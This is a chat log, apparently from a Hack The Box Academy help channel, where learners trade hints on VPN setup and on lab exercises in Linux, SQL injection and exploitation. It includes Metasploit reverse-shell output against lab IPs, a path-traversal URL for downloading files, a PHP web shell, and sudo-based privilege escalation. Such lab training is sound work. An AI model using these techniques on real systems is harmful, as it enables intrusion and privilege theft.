#

yeah thats what i ment i think

#

i wanna make my own VM on my computer

#

and use that to do the modules, if thats possible

thorny crow
#

The modules are ALREADY in a VM....I guess I don't understand why you want it virtualized twice?

#

A VM would be good if you're going to install Parrot OS or Kali Linux for the Pen Testing tools.

#

Since you're new, I'd stick to using their PwnBox with everything already built in and it has the "reset" feature.

worldly iron
#

ok im confused

#

but like, i don't wanna use the ready made VM that is in there because its laggy on the browser

#

but yeah i might understand the whole thing wrong idk

neon cape
#

hey guys
I am on the Linux Fundamentals module on the System Information section and whenever I try to ssh to htb-student with the given ip every thing just disappears I can still write but I can't use any commands. Is this a bug or can someone explain me what I am doing wrong not to happen this again in the future, please?

worldly iron
#

@thorny crow does it make any sense what im saying?

#

like not wanting to use the VM box that is on the browser in the modules

#

wanting to use my own client version

thorny crow
#

Yes. Feel free to lookup Kali Linux or Parrot OS and install guides on YouTube.

atomic light
#

then look for how to set up parrot on them

worldly iron
#

👍 but do i need a VPN for those to connect to these module things, or no?

atomic light
#

yes

worldly iron
#

so i need to buy like NordVPN or something?

atomic light
#

for the vm you need a vpn. for the browser you dont need the vpn

#

theres a vpn key that you download on each modue i think

#

and i think you just load it into openvpn

#

openvpn is a free vpn client

#

its opensource and comes with no ovpn configs

#

you would download the ovpn config from the module and load it into openvpn

#

though i havent done that yet. ive been using the browser and dealing with the lag

worldly iron
#

yeah so if i download client VM and install parrot on it, i need VPN

atomic light
#

ive been seeing some people say they have more problem with the vpn though and they needed to turn off the vpn for the target ip to work so thats why i stick with the browser iinstance

#

yeah

worldly iron
#

ohh ok

#

is there diff which VPN to choose?

#

is NordVpn good?

atomic light
#

openvpn

#

i wouldnt use your own vpn

#

htb vpn config for openvpn should have extra security

#

the htb open vpn config is found in each section near the tartget ip. its a button that says "get a vpn key"

worldly iron
#

ohh

#

so wait so openVPN is like a VPN provider such as NordVPN?

#

or no?

atomic light
#

you first download openvpn client, then download the key from the "get a key button"

#

no its just a client

worldly iron
#

ohh okay

#

its free?

atomic light
#

yes

worldly iron
#

whats the diff of like NordVPN and OpenVPN

atomic light
#

nord is a client and a vpn service that you pay monthly for

worldly iron
#

but they both do the same thing or no?

#

why would you pay for VPN service if u get VPN for free

atomic light
#

i think the htb key that you load into openvpn will have more security to keep out hackers

#

the htb key is just for htb . it probably blocks sites that are not related to htb

#

nord will let you use any site

worldly iron
#

My knowledge on VPN's is so limited

#

i dont understand XD

#

So does HTB host this OpenVPN or something?

#

or how is it free?

atomic light
#

the htb vpn will only be used for hack the box mosules

#

open vpn connects to htb servers only

#

nord connects to nords servers and unblocks all websites

#

and one purpose of a vpn is to hide your real ip so you cant be attacked by hackers

#

also vpns would have their own security set up so will protect you a bit more if you dont know how to secure your own network

worldly iron
#

So is VPN like a virtual router or something

atomic light
#

a vpn is a virtual private network. youre connecting to another network for protection. its like a shield from the internet. though you need to be careful what vpns you trust because the vpn company can see your internet traffic.

worldly iron
#

Ok, but what does a VPN service provider get paid for? Whats their like thing where they put money so that they can make money

#

They have hardware that support alot of people connecting to their network? or something

atomic light
#

it comes down to who do you trust more, your isp to see your traffic or the vpn provider to see your traffic. or the random hackers seeing your real ip and gaining access to your home network.

proven jay
#

hey all im working on the getting started module and im on the public exploits page and trying to complete the challenge at the bottom, but I cant even ping the target machine. im trying to ping from the box htb gives us, no luck

atomic light
#

a vpn is for protection

#

its another layer of security

#

thats what you pay for

worldly iron
#

Yeah but like. Do the VPN providers get their VPN service out of air? They pay nothing to make millions?

#

What is the resource they have, that enables them to have this VPN service, that makes them money

atomic light
#

are your a reporter or something? why does it matter?

proven jay
worldly iron
#

@atomic light Because i'm trying to understand how it works

atomic light
#

they pay money to build their own servers in different countries

worldly iron
#

i guess i need to check some youtube guide or something on VPNs

atomic light
#

you can make your own vpn server on a computer that has fast internet. then you can connect many computers to that computer from anywhere in the world

#

but the vpn providers have a lot of clients so they build super computers in data centers with super fast gigabit internet. gigabit internet is not cheap

#

and the computers break and need to be replaced

#

the vpn providers set up extra security to protect you from hackers. thats why you pay them. some vpns are faster than others. some vpns are capped at 50mbps

#

other more expensive vpns cap out at 1gbps

#

the vpn providers have to pay for gibabit internet so you can surf the internet with their vpn

worldly iron
#

Ahh i understand, thanks!

timber nimbus
#

anybody here sovled the getting started | Public exploits using searchsploit?

violet fiber
#

I cannot find what the path to the htb-student's mail is. This is btw Linux Fundementals

timber nimbus
violet fiber
violet fiber
timber nimbus
violet fiber
#

I tried the dir it gave me on the first page

#

that didn't work tho

timber nimbus
violet fiber
#

i tried that one

timber nimbus
#

its incomplete

violet fiber
slow salmon
timber nimbus
#

so some say there is a way to get the flag.txt with just searchsploit, i got the flag using metasploit, just wondering how was it done by searchsploit just doing by one simple command in the browser

sleek heron
#

My flags arent working for the web requests module. i've tried using my VM originally i thought i was because of burp suite reloading caused the target to get reset but now im not the docker and it still wont accept my flag

#

the flag is identical.

pallid needle
#

Hi all! Been a bit stuck on the Getting Started > Public Exploits exercise. Would someone be able to point me in the right direction?

|| - I found the exploit here: https://www.exploit-db.com/exploits/39883

  • I'm assuming it's the file download vulnerability we're dealing with
  • Trying to download the flag file using this link structure mentioned in the exploit: http://[ip]:[port]/wp-admin/tools.php?page=backup_manager&download_backup_file=../flag.txt
  • File is blank, what am I missing here?

[edit] Someone helped out, I was going down the wrong path. Make sure you're using metasploit! ||

Thanks!

sweet heron
#

Help! Stuck at getting started module knowledge check. I was able to get user flag, but now I can't reverse shell anymore. I keep getting this with metasploit:
"[] Started reverse TCP handler on 10.10.14.187:4444
[
] 10.129.231.55:80 - Authenticating...
[+] 10.129.231.55:80 - The authentication process is done successfully!
[] 10.129.231.55:80 - Extracting Cookies Information...
[
] 10.129.231.55:80 - Uploading payload...
[-] 10.129.231.55:80 - Exploit aborted due to failure: unknown: 10.129.231.55:80 - Upload failed
[*] Exploit completed, but no session was created."
It worked and then it stopped working. I tried rebooting, changing vpn, changing target...!

#

What helped me with that was going back in the pentesting basics section and double check so I don't forget anything.

sleek heron
sweet heron
sleek heron
#

POST

sweet heron
#

mine is ending with 29e

#

you find it yet?

flint helm
#

Why is it that for the website of Knowledge Check I can login as admin, but when I use the same credentials for metasploit it fails?

sweet heron
#

Check back the "Nibbles - Web Footprinting" section

sweet heron
flint helm
#

it fails to login. "permission denied"

#

@sweet heron

sweet heron
#

I'm stuck with metasploiot too. It used to workd and not it just fails to upload.

flint helm
#

huh

night osprey
#

Can somebody help me please?

#

It's asking me what non-standard application is running under the current user?

#

I've tried get-process and the task manager and still can't seem to find the single application they are asking for

vocal jewel
night osprey
vocal jewel
rustic sage
#

Im stuck at Getting Started > knowledge check at root, i found NOPASSWD folder but i still cant sudo or open it

night osprey
tired perch
#

hey guys, i need help in the skills assesment part for Javascript obsfucation

#

the question is = As you may have noticed, the JavaScript code is obfuscated. Try applying the skills you learned in this module to deobfuscate the code, and retrieve the 'flag' variable.

#

i think i already got the flag but it says its wrong

neon shard
#

hey man

#

So you're at Obfuscation -> Deobfuscateion, the interactive module?

tired perch
#

skills assesment page

#

Thanks to @neon shard for helping me fingerguns

neon shard
#

Haha well I asked you where you're at, you explained it to me, and then realized you had the answer already

hearty saffron
#

hello im on SQL INJECTION FUNDAMENTALS > Skills Assessment - SQL Injection Fundamentals
i was able to upload a php shell but when i try to do ||"ls /"|| it doesnt show anything but ||"ls"|| works

sleek heron
mossy monolith
#

HI all I'm stuck on the intro to web apps - HTML injection. I can I can change the text but I can't seem to link the website. Am I missing something obvious?

violet fiber
#

I'm stuck at the fundementals of Linux and someone helped me. But even with the right command the site says it wrong. And ideas?

violet fiber
#

It almost seams like the OS is updatet, but the answer on the site isn't.

neon shard
#

hmm

#

where about are you?

violet fiber
#

Linux Fundementals

neon shard
#

Where in particular? 😮

violet fiber
#

System Information page

obsidian hornet
#

Hi, i'm stuck in JAVASCRIPT DEOBFUSCATION / Skills assessments, question 2. Even with the hint i don't really understand the flag format expected. I tried a lot of combinations but still don't work (i feel idiot on this since it's the only one answer i can't find in this skills assessments) [SOLVED]

neon shard
#

Hey panda, can you DM me where you're stuck

#

I'll give you a nudge

quiet forum
#

Question : How many files exist on the system that have the ".bak" extension?

#

Topic : Find Files and Directories

#

(Linux Fundamentals)

neon shard
#

Hey @quiet forum to prevent any spoilers, shall I give you a nudge in a dm?

quiet forum
#

noted 😜

earnest orchid
#

Hi! I have been stuck on this question for a while "How many files exist on the system that have the ".bak" extension?".
I have tried numerous different ways to search, and gotten numerous results, however, none seem to be correct. I would really appreciate it if someone could give me a push in the right direction. I have mainly been trying to use xxxxxxxxxxxxxxxxxxxxxxxxxx Xxxxxxxxxxxxxxxxxxxxxxxxxx
i have even tried finding every file on the entire system, and restricting it with ```
xxxxxxxx

neon shard
#

dude spoilerssss

earnest orchid
#

sorry

#

im new, my bad!

hazy compass
#

Anyone here that can help with SQL injection fundementals? The authentication to the mysql database seems to not be working. Seems like someone else was asking about this 3 days ago as well, but I couldn't find a answer.

The command I'm suing is as follows "mysql -u root -h <ip> -P <port> -p", but it gives the error message "RROR 2002 (HY000): Can't connect to MySQL server on '206.189.121.131' (115)"

I have tried restarting my workstation and target, but nothing seems to help.

true path
#

yes

#

cam i dm you

worldly iron
#

Man this fundamentals networking module is HEAVY. The addressing portion blows right over my head. Anyone know like video resource or something that helps explain this?

vocal jewel
#

Would someone be able to tell me if what I did to answer one of the Linux questions was the best way to go? I don't want to say too much and give any spoilers.

elfin bridge
#

guys in the knowledge check module of getting started , ||i made a reverse shell using metasploit ||but i can't find user_flag anywhere ... some advice?

hearty saffron
#

Hi im stuck on the last section of the SQL INJECTION FUNDAMENTALS MODULE
I have to find a flag in the / root directory
I was able to upload a php shell file to be able to run commands.
It works when I do commands like "ls" or "pwd", but when I try "ls" with a different path it wont work, like "ls /" or "ls .."

ebon shuttle
#

What did you mean by it was talking about the stack in the theory section? In theory, wouldn't EBP be the base of the stack, and thus be 0 (relative to the frame)? This question is so confusing, because EBP changes throughout the execution of the code (at least as far as I understand). I have no idea what it is asking for.

tired pilot
#

Is there any way to hack vr. Gűey

crystal egret
#

Hi

tidal mango
tidal mango
atomic light
#

GETTING STARTED
Page 23
Knowledge Check

#

im stuck here

#

in metasploit i specified the username and password and remote host and target uri

#

metasploit says its success full but failed to give me a shell

elfin bridge
atomic light
#

i think im putting in the wrong target uri

#

but i cant find the file upload button on the admin panel

tidal mango
atomic light
#

i also think im supposed to specify the path to the plugin for target uri but i dont know what the path is

tidal mango
atomic light
#

i havent gotten any flags yet

elfin bridge
atomic light
#

im trying to exploit teh file upload

elfin bridge
#

Think of that as a normal folder where you need to go deeper using the CD command

atomic light
#

there are 2 exploits for the plugin if you search in metasploit. the first one for rce does not work. but the second one for file upload works but fails to give me a shell

tidal mango
atomic light
#

k

sweet heron
#

I'm stuck at the same place on knowledge check. The metasploit script just fail I tried different payload, but nothing. I got it working once and have the first flag, but I can't get a reverse shell anymore.

sweet heron
atomic light
#

i got a meterpreter session

worldly iron
#

@tidal mango Thanks i'll check that out!

atomic light
#

i had to reset the target ip

#

and i used the rce exploit

#

the target uri must stay as default too

#

i dont know how to use meterpreter though

sweet heron
#

you can type help for meterpreter commands or change the payload in metasploit for a regular shell.

atomic light
#

i typed shell in meterpreter and is says it was created but doesnt give me a shell

sweet heron
atomic light
#

that happened to me too untill i refreshed the target ip in the section and specified the new ip for rhost

#

you also need to specify lhost

sweet heron
#

yeah tried different target all night long yersterday xD

atomic light
#

you only need to set rhost and lhost. dont set anything else

sweet heron
#

yup nothing. I set lhost as tun0 or (manually enter my vpn ip) and rhost as the target ip. It worked once yesterday, then nothing.

atomic light
#

pm me what plugin exploit you are usiing

atomic light
#

also im using the pwnbox in a browser, not my own vm

regal wagon
#

Module: Getting Started
Page: Knowledge Check
Question: Can exploit the target but if I try the "shell" command in metapeter but I get no responding. So what I have to do?

atomic light
#

i found this but i dont know how to use them

#
WonderHowTo

I've done numerous tutorials in Null Byte demonstrating the power of Metasploit's meterpreter. With the meterpreter on the target system, you have nearly total command of the victim. As a result, several of you have asked me for a complete list of commands available for the meterpreter because there doesn't seem to be a complete list anywhere on...

sweet heron
#

Try set php and "tab" to see the different options and try maybe php/reverse_php maybe?

rustic sage
#

Module: Getting Started

#

Section: Public Exploits

#

Question: i cant find the targets services

#

like i dont know where to look

sweet heron
rustic sage
#

no like, i get that, but i see 2 different services running for the web app

sweet heron
#

let me check it out again

rustic sage
#

and neither work for my exploit

atomic light
rustic sage
#

where would i find that?

atomic light
#

then you explore the files in each directory

rustic sage
sweet heron
#

hehehe!

rustic sage
#

ok it says it runs apache 2.4.41

#

so i should look for exploits on that plugin?

sweet heron
#

that's the right approach. But there is somethin that server runs that is even more obvious.

rustic sage
#

i saw nginx too

atomic light
#

you have to login to the admin panel

#

find the login info

rustic sage
#

gotcha

sweet heron
rustic sage
sweet heron
#

have you gone on the website?

rustic sage
#

yes

#

oh

#

SQL?

atomic light
#

the main admin page you start on after logged in says it at the bottom of the page

#

powered by

rustic sage
#

man

#

days like this really make me wish i had a brain

sweet heron
#

you found any exploit? What are you using to search them?

rustic sage
#

msfconsole

#

alright im not gonna lie i am completely stuck

sweet heron
#

use searchsploit

rustic sage
#

can someone give me a bit of a walkthrough?

#

how do i use the exploits on searchsploit

sweet heron
#

There I used basic bash commands to read the file it refers to.

rustic sage
#

gotcha

#

what commands would i need?

sweet heron
#

not used to bash too much? You should check out their linux module and the cheat sheet. The trick here is that the path it refers to is not an absolute path (it doesn't start from /), but relative path starting somewhere. So you nice to 'locate' that file's full path so you can 'cat' it.

rustic sage
#

gotcha, thank you

#

i do know those command

tidal mango
sweet heron
#

but do commands work?

atomic light
# sweet heron but do commands work?

its only a meterpreter session, its not a real shell so bash commands arent working. and only some of the meterpreter commands are working. i think the rest of the meterpreter commands will work if we can get a shell but typing shell isnt giving a shell. i also was able to upload my own shell.sh reverse tcp through meterpreter and did a chmod but when i use execute -f the shell does not run, but it says it turned it into a process. i also double checked that my reverse tcp shell.sh has my hosts ip to connect back to me and i started a listener on the same port that i set in my shell.sh and it all looks good but the shell.sh is not starting

#

or maybe that port is blocked

#

so then i tried starting a listener on port 80 on my host but the terminal is saying port 80 is in use because my meterpreter session is using port 80

sweet heron
#

have you tried another metasploit payload?

atomic light
#

i dont know how to switch payloads. the sections didnt say how to even set a payload

sweet heron
atomic light
#

after i have a meterpreter session?

sweet heron
#

no before. It's a script option, just like rhost and lhost

atomic light
sweet heron
#

"tab" to see the list of possible payload.

atomic light
#

nothing shows up with tab

#

oh i fiigured out tab

#

i was doing a space before i did tab

sweet heron
#

tab is a precious tool for autocompletions with bash

atomic light
#

thanks that did it

sweet heron
#

Glad to hear!

atomic light
#

now im trying to escalate in meteploit

#

i tried typing getsystem

#

but it didnt work

#

i guess now i need to create my own reverse tcp now that i have a shell. then i will try to escalate netcat

#

i did get the first flag though thanks to you

sweet heron
#

What's your target IP by curiosity? I still can't get any shell. I'm stuck with a bug... 😦

atomic light
#

oh i forgot i cant post ips in here

sweet heron
#

ooh oops! Didn't know that

atomic light
#

i pmed you

sweet heron
#

ok it's not the same Ip i had that was working yesterday

tidal mango
atomic light
#

i just cant escalate priviledges from metasploit

sweet heron
#

you can find some interesting results with the commmands in the privesc section of the cheat sheet.

atomic light
#

i did that. it breaks my shell

atomic light
#

oh so i guess metaploit gives me a full tty shell right away because nano works

#

i just need to find the right gtfo bin to escalate with

#

i did sudo -l but the gtfo bins on github for php arent working for me

atomic light
#

does anyone know the proper way to use getsystem, with metasploit?

atomic light
#

im starting to think the gtfo bins will not work at all for this one. ill try ssh ing with id_rsa

elfin bridge
#

no wait

#

try to watch the php section of gtfobins

atomic light
#

on github?

elfin bridge
#

i used the webpage

atomic light
#

i was looking at that but theres so many. i dont know a repliable method to find the exact working bin

#

what webpage?

#

this is what im looking at

elfin bridge
#

that's right

#

but when you use the sudo -l command, you can't use the shell with sudo

#

you have the sudo ability on php

elfin bridge
atomic light
#

the what?

#

its censored

#

pm me

#

sudo -l works in my shell

#

but the gtfo bins do not

quiet forum
#

Is anyone online right now?

#

I've got a question to ask regarding the Linux fundamental module

atomic light
#

Lenoire helped me figure out why my priveledge escalation wasnt working. i finished

#

GETTING STARTED
Page 23
Knowledge Check

#

the problem was the default meterpreter shell that runs is the wrong one. the metasploit php shell is also the wrong one. the generic reverse tcp metesploit shell is the correct one.

tidal mango
atomic light
scenic apex
#

please help im working on File Inclusion / Directory Traversal
the question " Submit the contents of the flag.txt file located in the /usr/share/flags directory."
i tried php wrapper and getting an error that its not enabled

scenic apex
tired perch
atomic light
tired perch
#

ahh ok then

quiet forum
quiet forum
#

How do i answer this question bro?
Question : Determine what user the ProFTPd server is running under. Submit the username as the answer.
Output : htb-stu+
I've already tried "ps aux | grep 'proftpd'"

scenic apex
vestal moon
#

how do i find the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k? (Linux fundamentals)

vestal moon
#

and ls -ltrh displays total 0

scenic apex
#

are you inside the target's machine?

vestal moon
#

ye

scenic apex
#

can i see what's the path you're trying to check

vestal moon
#

/home/htb-student

#

i can't send images to this channel

scenic apex
#

ohh i see

scenic apex
#

thanks it's more clear now so you are in the wrong path

vestal moon
#

oh

#

am i supposed to use find / instead then?

#

ok i figured it out. Thanks a bunch @scenic apex

short ether
#

Hello can someone tell me if I can ssh into targets using my own vm instead of the htb vm? It just keeps timing out for me

west rampart
#

Which module and section? @short ether

rustic sage
#

download the vpn key and "sudo openvpn academy.ovpn"

short ether
#

Thank you got it working!

sick gull
#

Getting Started -> Privilege Escalation: Anyone able to answer a question or two for me? I'm stuck

elfin bridge
#

can someone give me some hint with the "public exploit"? i have already finished all the modules but is one is strange because i don't know what to do.
i'm using metasploit with ||wp_simple_backup_file_read|| as the exploit but i can't get anything

west rampart
#

Do it without msf

elfin bridge
#

if i use searchexploit , i only find ||simple backup 2.7.11||

#

so not the one i should use

west rampart
#

Try

tired pilot
#

Who wants to answer a question ...??

#

What the f$%&

quiet forum
elfin bridge
west rampart
#

Read it with your eyes

vestal ingot
#

I'm completely stuck at WEB requests->POST method. Can anyone help? The hint says: "||Manipulate the cookie as discussed in the previous section||". Sure, i can decode it, change it and encode it, but how am i supposed to know what to change it into? Im probably missing an obvious thing here.

rich sequoia
#

are you using burp to grab the cookie?

rich sequoia
vestal ingot
#

yeah

rich sequoia
#

decoded it?

vestal ingot
#

yeah

rich sequoia
#

okay... tried changing it?

vestal ingot
#

yeah but idk what to change in it

#

to get admin

rich sequoia
#

what does the cookie decode to?

vestal ingot
#

something like "guest-[random code from letters and numbers]"

#

whoops i meant guest not admin

rich sequoia
#

right... have you tried changing what is static?

vestal ingot
#

yup

#

i can change it into whatever and the welcome message shows it

rich sequoia
#

have you repeated it? or looked in the source?

#

what is the module name and I will walkthrough it on my box?

vestal ingot
#

POST method

#

oh module

#

WEB requests

vestal ingot
quiet forum
#

Hi guys, quick question on the Linux fundamentals module.

#

Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

#

I know that i'll have to use the grep function

tidal mango
#

in the Web Request Post Methods section.... I am pretty sure I got to the admin panel, but the question is unclear what they want for the answer. Anyone have a pointer for me?

tidal mango
rustic sage
#

Hello everyone ! I've got an issue. In Getting Started -> Public Exploit. When i start an instance and i would like to scan the target with nmap, I've got this error: Host seems down. If it is really up, but blocking our ping probes. Or, the target is actually start. So what can i do ?

#

(I try restart but nothing, i don't understand why i've got this error...)

flint helm
#

Hello I can't find how to get to /usr/share/flags/flag.txt for the 2nd question of file inclusion, I've tried a lot of different combinations with the section methods and curl or wget but no luck. Can someone give me a good hint?

tidal mango